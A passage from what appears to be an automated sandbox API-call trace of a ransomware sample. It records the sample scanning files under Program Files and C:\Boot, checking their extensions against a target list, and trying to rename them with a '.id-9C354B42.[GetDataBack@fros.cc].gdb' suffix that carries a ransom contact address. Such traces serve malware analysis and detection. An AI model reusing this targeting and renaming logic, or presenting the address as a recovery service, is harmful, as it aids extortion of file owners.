(lpString1=".zip", lpString2=".mui") returned 1 [0135.307] lstrlenW (lpString=".rar") returned 4 [0135.307] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0135.307] lstrlenW (lpString=".bz2") returned 4 [0135.307] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0135.307] lstrlenW (lpString=".7z") returned 3 [0135.307] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0135.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0135.307] lstrlenW (lpString=".dbf") returned 4 [0135.307] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0135.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0135.307] lstrlenW (lpString=".1cd") returned 4 [0135.307] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0135.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0135.307] lstrlenW (lpString=".jpg") returned 4 [0135.307] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0135.307] lstrcmpiW (lpString1=".mui", lpString2=".gdb") returned 1 [0135.307] lstrlenW (lpString="rtscom.dll.mui") returned 14 [0135.307] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0135.308] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2a7fe9c | out: lpFileSize=0x2a7fe9c*=2560) returned 1 [0135.308] CloseHandle (hObject=0x198) returned 1 [0135.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui")) returned 0x20 [0135.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0135.308] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0135.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0135.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0135.308] lstrlenW (lpString=".doc") returned 4 [0135.308] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0135.308] lstrlenW (lpString=".docx") returned 5 [0135.308] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0135.308] lstrlenW (lpString=".pdf") returned 4 [0135.308] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0135.308] lstrlenW (lpString=".xls") returned 4 [0135.308] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0135.308] lstrlenW (lpString=".xlsx") returned 5 [0135.308] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0135.308] lstrlenW (lpString=".ppt") returned 4 [0135.308] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0135.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0135.308] lstrlenW (lpString=".zip") returned 4 [0135.308] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0135.308] lstrlenW (lpString=".rar") returned 4 [0135.308] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0135.308] lstrlenW (lpString=".bz2") returned 4 [0135.308] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0135.308] lstrlenW (lpString=".7z") returned 3 [0135.308] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0135.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0135.308] lstrlenW (lpString=".dbf") returned 4 [0135.308] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0135.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0135.308] lstrlenW (lpString=".1cd") returned 4 [0135.308] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0135.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0135.308] lstrlenW (lpString=".jpg") returned 4 [0135.309] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0135.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0135.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0135.309] lstrlenW (lpString=".doc") returned 4 [0135.309] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0135.309] lstrlenW (lpString=".docx") returned 5 [0135.309] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0135.309] lstrlenW (lpString=".pdf") returned 4 [0135.309] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0135.309] lstrlenW (lpString=".xls") returned 4 [0135.309] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0135.309] lstrlenW (lpString=".xlsx") returned 5 [0135.309] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0135.309] lstrlenW (lpString=".ppt") returned 4 [0135.309] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0135.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0135.309] lstrlenW (lpString=".zip") returned 4 [0135.309] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0135.309] lstrlenW (lpString=".rar") returned 4 [0135.309] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0135.309] lstrlenW (lpString=".bz2") returned 4 [0135.309] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0135.309] lstrlenW (lpString=".7z") returned 3 [0135.309] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0135.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0135.309] lstrlenW (lpString=".dbf") returned 4 [0135.309] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0135.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0135.309] lstrlenW (lpString=".1cd") returned 4 [0135.309] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0135.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0135.309] lstrlenW (lpString=".jpg") returned 4 [0135.309] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0135.309] lstrcmpiW (lpString1=".mui", lpString2=".gdb") returned 1 [0135.309] lstrlenW (lpString="ShapeCollector.exe.mui") returned 22 [0135.309] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0135.310] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2a7fe9c | out: lpFileSize=0x2a7fe9c*=43520) returned 1 [0135.310] CloseHandle (hObject=0x198) returned 1 [0135.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui")) returned 0x20 [0135.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0135.310] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0135.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0135.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0135.310] lstrlenW (lpString=".doc") returned 4 [0135.310] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0135.310] lstrlenW (lpString=".docx") returned 5 [0135.310] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0135.310] lstrlenW (lpString=".pdf") returned 4 [0135.310] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0135.310] lstrlenW (lpString=".xls") returned 4 [0135.310] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0135.310] lstrlenW (lpString=".xlsx") returned 5 [0135.310] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0135.310] lstrlenW (lpString=".ppt") returned 4 [0135.310] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0135.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0135.310] lstrlenW (lpString=".zip") returned 4 [0135.310] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0135.310] lstrlenW (lpString=".rar") returned 4 [0135.310] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0135.310] lstrlenW (lpString=".bz2") returned 4 [0135.310] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0135.310] lstrlenW (lpString=".7z") returned 3 [0135.310] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0135.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0135.310] lstrlenW (lpString=".dbf") returned 4 [0135.310] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0135.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0135.311] lstrlenW (lpString=".1cd") returned 4 [0135.311] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0135.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0135.311] lstrlenW (lpString=".jpg") returned 4 [0135.311] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0135.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0135.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0135.311] lstrlenW (lpString=".doc") returned 4 [0135.311] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0135.311] lstrlenW (lpString=".docx") returned 5 [0135.311] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0135.311] lstrlenW (lpString=".pdf") returned 4 [0135.311] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0135.311] lstrlenW (lpString=".xls") returned 4 [0135.311] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0135.311] lstrlenW (lpString=".xlsx") returned 5 [0135.311] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0135.311] lstrlenW (lpString=".ppt") returned 4 [0135.311] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0135.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0135.311] lstrlenW (lpString=".zip") returned 4 [0135.311] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0135.311] lstrlenW (lpString=".rar") returned 4 [0135.311] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0135.311] lstrlenW (lpString=".bz2") returned 4 [0135.311] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0135.311] lstrlenW (lpString=".7z") returned 3 [0135.311] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0135.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0135.311] lstrlenW (lpString=".dbf") returned 4 [0135.311] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0135.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0135.311] lstrlenW (lpString=".1cd") returned 4 [0135.311] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0135.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0135.311] lstrlenW (lpString=".jpg") returned 4 [0135.311] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0135.311] lstrcmpiW (lpString1=".mui", lpString2=".gdb") returned 1 [0135.311] lstrlenW (lpString="tabskb.dll.mui") returned 14 [0135.311] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0136.006] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2a7fe9c | out: lpFileSize=0x2a7fe9c*=3072) returned 1 [0136.006] CloseHandle (hObject=0x220) returned 1 [0136.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui")) returned 0x20 [0136.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0136.007] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0136.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0136.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0136.007] lstrlenW (lpString=".doc") returned 4 [0136.007] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0136.007] lstrlenW (lpString=".docx") returned 5 [0136.007] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0136.007] lstrlenW (lpString=".pdf") returned 4 [0136.007] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0136.007] lstrlenW (lpString=".xls") returned 4 [0136.007] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0136.007] lstrlenW (lpString=".xlsx") returned 5 [0136.007] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0136.007] lstrlenW (lpString=".ppt") returned 4 [0136.007] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0136.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0136.007] lstrlenW (lpString=".zip") returned 4 [0136.007] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0136.007] lstrlenW (lpString=".rar") returned 4 [0136.007] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0136.007] lstrlenW (lpString=".bz2") returned 4 [0136.007] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0136.007] lstrlenW (lpString=".7z") returned 3 [0136.007] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0136.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0136.008] lstrlenW (lpString=".dbf") returned 4 [0136.008] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 Thread: id = 26 os_tid = 0x890 [0115.265] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75a20000 [0115.265] GetProcAddress (hModule=0x75a20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75a4d650 [0115.265] Wow64DisableWow64FsRedirection (in: OldValue=0x2affb80 | out: OldValue=0x2affb80*=0x0) returned 1 [0115.265] lstrlenW (lpString="kernel32.dll") returned 12 [0115.265] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0115.266] Sleep (dwMilliseconds=0x64) [0115.516] lstrcmpiW (lpString1=".LOG1", lpString2=".gdb") returned 1 [0115.516] lstrlenW (lpString="BCD.LOG1") returned 8 [0115.516] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0115.516] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2affb44 | out: lpFileSize=0x2affb44*=0) returned 1 [0115.516] CloseHandle (hObject=0x1a8) returned 1 [0115.516] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0115.516] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0115.516] lstrlenW (lpString=".doc") returned 4 [0115.516] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0115.516] lstrlenW (lpString=".docx") returned 5 [0115.516] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0115.516] lstrlenW (lpString=".pdf") returned 4 [0115.516] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0115.516] lstrlenW (lpString=".xls") returned 4 [0115.516] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0115.516] lstrlenW (lpString=".xlsx") returned 5 [0115.516] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0115.517] lstrlenW (lpString=".ppt") returned 4 [0115.517] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0115.517] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0115.517] lstrlenW (lpString=".zip") returned 4 [0115.517] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0115.517] lstrlenW (lpString=".rar") returned 4 [0115.517] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0115.517] lstrlenW (lpString=".bz2") returned 4 [0115.517] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0115.517] lstrlenW (lpString=".7z") returned 3 [0115.517] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0115.517] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0115.517] lstrlenW (lpString=".dbf") returned 4 [0115.517] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0115.517] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0115.517] lstrlenW (lpString=".1cd") returned 4 [0115.517] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0115.517] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0115.517] lstrlenW (lpString=".jpg") returned 4 [0115.517] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0115.587] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0115.587] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0115.587] lstrlenW (lpString=".doc") returned 4 [0115.587] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0115.587] lstrlenW (lpString=".docx") returned 5 [0115.587] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0115.587] lstrlenW (lpString=".pdf") returned 4 [0115.587] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0115.587] lstrlenW (lpString=".xls") returned 4 [0115.587] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0115.587] lstrlenW (lpString=".xlsx") returned 5 [0115.587] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0115.587] lstrlenW (lpString=".ppt") returned 4 [0115.588] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0115.588] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0115.588] lstrlenW (lpString=".zip") returned 4 [0115.588] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0115.588] lstrlenW (lpString=".rar") returned 4 [0115.588] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0115.588] lstrlenW (lpString=".bz2") returned 4 [0115.588] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0115.588] lstrlenW (lpString=".7z") returned 3 [0115.588] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0115.588] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0115.588] lstrlenW (lpString=".dbf") returned 4 [0115.588] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0115.588] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0115.588] lstrlenW (lpString=".1cd") returned 4 [0115.588] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0115.588] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0115.588] lstrlenW (lpString=".jpg") returned 4 [0115.588] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0115.588] lstrcmpiW (lpString1=".ttf", lpString2=".gdb") returned 1 [0115.588] lstrlenW (lpString="jpn_boot.ttf") returned 12 [0115.588] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0115.669] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2affb44 | out: lpFileSize=0x2affb44*=1984228) returned 1 [0115.669] CloseHandle (hObject=0x1b0) returned 1 [0115.669] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20 [0115.669] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0115.669] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0 [0115.670] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0115.670] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0115.670] lstrlenW (lpString=".doc") returned 4 [0115.670] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0115.670] lstrlenW (lpString=".docx") returned 5 [0115.670] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0115.670] lstrlenW (lpString=".pdf") returned 4 [0115.670] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0115.670] lstrlenW (lpString=".xls") returned 4 [0115.670] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0115.670] lstrlenW (lpString=".xlsx") returned 5 [0115.670] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0115.670] lstrlenW (lpString=".ppt") returned 4 [0115.670] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0115.670] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0115.670] lstrlenW (lpString=".zip") returned 4 [0115.670] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0115.670] lstrlenW (lpString=".rar") returned 4 [0115.670] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0115.670] lstrlenW (lpString=".bz2") returned 4 [0115.670] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0115.670] lstrlenW (lpString=".7z") returned 3 [0115.670] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0115.670] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0115.670] lstrlenW (lpString=".dbf") returned 4 [0115.670] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0115.670] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0115.670] lstrlenW (lpString=".1cd") returned 4 [0115.670] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0115.670] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0115.670] lstrlenW (lpString=".jpg") returned 4 [0115.670] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0115.670] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0115.670] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0115.670] lstrlenW (lpString=".doc") returned 4 [0115.670] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0115.670] lstrlenW (lpString=".docx") returned 5 [0115.670] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0115.670] lstrlenW (lpString=".pdf") returned 4 [0115.671] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0115.671] lstrlenW (lpString=".xls") returned 4 [0115.671] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0115.671] lstrlenW (lpString=".xlsx") returned 5 [0115.671] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0115.671] lstrlenW (lpString=".ppt") returned 4 [0115.671] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0115.671] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0115.671] lstrlenW (lpString=".zip") returned 4 [0115.671] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0115.671] lstrlenW (lpString=".rar") returned 4 [0115.671] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0115.671] lstrlenW (lpString=".bz2") returned 4 [0115.671] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0115.671] lstrlenW (lpString=".7z") returned 3 [0115.671] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0115.671] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0115.671] lstrlenW (lpString=".dbf") returned 4 [0115.671] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0115.671] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") 